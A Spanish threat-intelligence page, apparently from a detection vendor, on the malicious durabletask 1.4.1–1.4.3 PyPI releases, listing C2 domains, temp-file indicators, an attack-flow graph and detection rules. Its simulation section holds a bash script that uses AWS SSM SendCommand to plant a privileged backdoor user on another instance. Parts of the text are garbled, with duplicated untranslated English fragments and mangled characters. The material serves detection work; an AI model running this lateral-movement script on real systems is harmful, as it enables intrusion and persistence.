durabletask: El Último Compromiso de la Cadena de Suministro PyPI de TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un ataque a la cadena de suministro tuvo como objetivo el durabletask paquete de Python en PyPI, resultando en la publicación de versiones maliciosas 1.4.1, 1.4.2, y 1.4.3. El atacante supuestamente aprovechó una cuenta de GitHub comprometida para obtener un token de PyPI y cargar archivos wheel armados. La carga maliciosa fue entregada a través de rope.pyz archivos diseñados para robar credenciales de la nube y propagarse a sistemas adicionales. Los esfuerzos de detección deben centrarse en archivos temporales específicos, actividad de procesos sospechosos y tráfico a los dominios de comando y control identificados.
Investigación
Wiz vinculó la cuenta de GitHub comprometida con la campaña anterior @antv . Su análisis encontró que el atacante reutilizó mensajes de confirmación y accedió a secretos de GitHub filtrados que contenían el token de publicación de PyPI. Los archivos wheel maliciosos incluían un transformers.pyz componente que descargó rope.pyz cargas en /tmp e inició comunicación de comando y control con check.git-service.com and t.m-kosche.com.
Mitigación
Las organizaciones deben rotar cualquier credencial de la nube y del gestor de contraseñas potencialmente expuesta, bloquear los dominios y URLs de comando y control identificados, y buscar indicadores de infección como ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Cualquier archivo managed.pyz or rope-*.pyz temporal debe ser eliminado, y los procesos relacionados con Python deben ser terminados. Las acciones de GitHub y los flujos de trabajo de publicación de PyPI también deben fortalecerse para reducir el riesgo de compromiso similar.
Respuesta
Los equipos de seguridad deben identificar cualquier uso de durabletask versiones 1.4.1 a través de 1.4.3, buscar /tmp/managed.pyz and /tmp/rope-*.pyz, y monitorear los procesos de python3 ejecutando esos archivos. El tráfico saliente de DNS y HTTP hacia processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com debe ser bloqueado, mientras que los registros de auditoría de CloudTrail y Kubernetes deben ser revisados en busca de actividad sospechosa de SSM o kubectl exec . Las credenciales afectadas deben rotarse inmediatamente, y los registros de los gestores de contraseñas deben ser revisados en busca de signos de fuerza bruta o acceso no autorizado.
"graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodos initial_node["<b>Inicio</b>: El atacante obtiene credenciales válidas de GitHub"] class initial_node action action_initial_access["<b>Acción</b> – <b>T1078 Cuentas Válidas</b>: La cuenta de GitHub comprometida proporciona acceso al repositorio"] class action_initial_access action tool_gitHub["<b>Herramienta</b> – <b>Nombre</b>: GitHub<br/><b>Rol</b>: Plataforma de alojamiento de código fuente"] class tool_gitHub tool action_cred_exploit["<b>Acción</b> – <b>T1212 Explotación para Acceso a Credenciales</b>: Se volcaron secretos de GitHub para obtener el token de PyPI"] class action_cred_exploit action file_pypi_token["<b>Archivo</b> – <b>Nombre</b>: Token de PyPI"] class file_pypi_token file action_cred_password_stores["<b>Acción</b> – <b>T1555.005 Gestores de Contraseñas</b> & <b>T1555.006 Almacenamiento de Secretos en la Nube</b>: Credenciales cosechadas para plataformas de nube y gestores de contraseñas"] class action_cred_password_stores action credential_aws["<b>Credencial</b>: Claves de acceso de AWS y token de SSM"] class credential_aws credential credential_azure["<b>Credencial</b>: Principal de servicio de Azure"] class credential_azure credential credential_gcp["<b>Credencial</b>: Cuenta de servicio de GCP"] class credential_gcp credential credential_k8s["<b>Credencial</b>: Token de cuenta de servicio de Kubernetes"] class credential_k8s credential credential_vault["<b>Credencial</b>: Token de HashiCorp Vault"] class credential_vault credential action_supply_chain["<b>Acción</b> – <b>T1195.002 Compromiso de la Cadena de Suministro de Software</b>: Se utilizó el token de PyPI para publicar paquetes maliciosos durabletask 1.4.1u20111.4.3"] class action_supply_chain action tool_pypi["<b>Herramienta</b> – <b>Nombre</b>: Repositorio PyPI"] class tool_pypi tool malware_durabletask["<b>Malware</b> – <b>Nombre</b>: Paquete durabletask (malicioso)"] class malware_durabletask malware action_execution["<b>Acción</b> – <b>T1204.002 Ejecución de Usuario: Archivo Malicioso</b>: Las víctimas instalan el paquete comprometido que provoca la descarga de la carga"] class action_execution action file_managed["<b>Archivo</b> – <b>Ruta</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>Archivo</b> – <b>Ruta</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>Acción</b> – <b>T1127 Ejecución por Proxy de Utilidades de Desarrollador de Confianza</b>: Código malicioso ejecutado a través de ganchos de importación de Python"] class action_defense_evasion action action_persistence["<b>Acción</b> – <b>T1176 Extensiones de Software</b>: Puntos de inyección en __init__.py y otros módulos"] class action_persistence action action_credential_dumping["<b>Acción</b> – <b>T1003 Volcado de Credenciales del SO</b>: Credenciales extraídas de AWS SSM, tokens de Kubernetes e historial de shell"] class action_credential_dumping action action_lateral_movement["<b>Acción</b> – <b>T1570 Transferencia de Herramientas Laterales</b>: Propagado a hosts adicionales a través de AWS SSM y ejecución de Kubernetes"] class action_lateral_movement action tool_aws_ssm["<b>Herramienta</b> – <b>Nombre</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>Herramienta</b> – <b>Nombre</b>: Ejecución de Kubernetes"] class tool_k8s_exec tool op_and(("Y")) class op_and operator action_c2["<b>Acción</b> – <b>T1219 Herramientas de Acceso Remoto</b> & <b>T1071.001 Protocolos Web</b>: Se comunica con dominios C2 usando el endpoint /v1/models"] class action_c2 action c2_domain1["<b>Dominio C2</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>Dominio C2</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>Acción</b> – <b>T1048 Exfiltración por Protocolo Alternativo</b>: Envío de datos al endpoint /api/public/version"] class action_exfiltration action exfil_endpoint["<b>Endpoint</b>: /api/public/version"] class exfil_endpoint c2 %% Conexiones initial_node –>|conduce_a| action_initial_access action_initial_access –>|permite| action_cred_exploit action_cred_exploit –>|captura| file_pypi_token file_pypi_token –>|usado_por| action_supply_chain action_supply_chain –>|publica| malware_durabletask malware_durabletask –>|instalado_por| action_execution action_execution –>|descargas| file_managed action_execution –>|descargas| file_rope file_managed –>|ejecutado_via| action_defense_evasion file_rope –>|ejecutado_via| action_defense_evasion action_defense_evasion –>|establece| action_persistence action_persistence –>|permite| action_credential_dumping action_credential_dumping –>|recoge| credential_aws action_credential_dumping –>|recoge| credential_azure action_credential_dumping –>|recoge| credential_gcp action_credential_dumping –>|recoge| credential_k8s action_credential_dumping –>|recoge| credential_vault credential_aws –>|usado_para| action_lateral_movement credential_k8s –>|usado_para| action_lateral_movement action_lateral_movement –>|aprovecha| tool_aws_ssm action_lateral_movement –>|aprovecha| tool_k8s_exec action_lateral_movement –>|se_extiende_a| op_and op_and –>|conecta_con| action_c2 action_c2 –>|contacta| c2_domain1 action_c2 –>|contacta| c2_domain2 c2_domain1 –>|recibe_datos_mediante| action_exfiltration c2_domain2 –>|recibe_datos_mediante| action_exfiltration action_exfiltration –>|envia_a| exfil_endpoint "
Flujo de Ataque
Detecciones
Descarga de Ejecutable Sospechoso (via proxy)
Ver
Script de Linux Fue Creado en Carpetas Temporales (via file_event)
Ver
Archivo Oculto Fue Creado en Host Linux (via file_event)
Ver
IOCs (HashSha256) para detectar: durabletask: Última Compromiso PyPi de TeamPCP
Ver
Conexión Saliente a Dominios C2 de TeamPCP [Proxy]
Ver
Detectar Ejecución de Payload Python via /tmp/managed.pyz [Creación de Proceso en Linux]
Ver
Detección de Propagación de AWS SSM via SSM:SendCommand y SSM:DescribeInstanceInformation [Cloudtrail de AWS]
Ver
Ejecución de Simulación
Requisito Previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razón: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario ha obtenido credenciales en una instancia EC2 comprometida (Instancia A). Usando esas credenciales, el atacante aprovecha AWS Systems Manager para infiltrarse en una segunda instancia (Instancia B) sin abrir ningún puerto de red. Los pasos son:- Enumerar las instancias accesibles via
SSM:DescribeInstanceInformationpara localizar objetivos. - Emitir un comando malicioso a través de
SSM:SendCommand(por ejemplo, crear un nuevo usuario privilegiado) en la instancia objetivo. - Validar la ejecución recuperando la salida del comando.
El atacante utiliza AWS CLI, que genera directamente eventos de CloudTrail para ambas llamadas a la API, cumpliendo con las condiciones de la regla.
- Enumerar las instancias accesibles via
-
Script de Prueba de Regresión: El script a continuación reproduce el ataque en un laboratorio controlado. Se espera que AWS CLI esté configurado con credenciales que tengan
ssm:SendCommandandssm:DescribeInstanceInformationpermisos.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variables – ajustar para su entorno de laboratorio # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instancia A (enlace del atacante) TARGET_INSTANCE="i-0fedcba9876543210" # Instancia B (objetivo lateral) # 1️⃣ Enumerar instancias administradas por SSM (detona DescribeInstanceInformation) echo "[*] Enumerando instancias administradas por SSM..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Enviar un comando malicioso al objetivo (detona SendCommand) echo "[*] Enviando carga maliciosa a $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Persistencia del usuario malicioso" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Recuperar ID de comando y esperar a que termine (opcional) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] ID de Comando: $CMD_ID – esperando ejecución..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulación completa. CloudTrail ahora debería contener ambos eventos SSM:DescribeInstanceInformation y SSM:SendCommand." -
Comandos de Limpieza: Eliminar el usuario malicioso y borrar cualquier historial residual de comandos.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Limpiando artefactos maliciosos en $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Limpieza tras la prueba" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"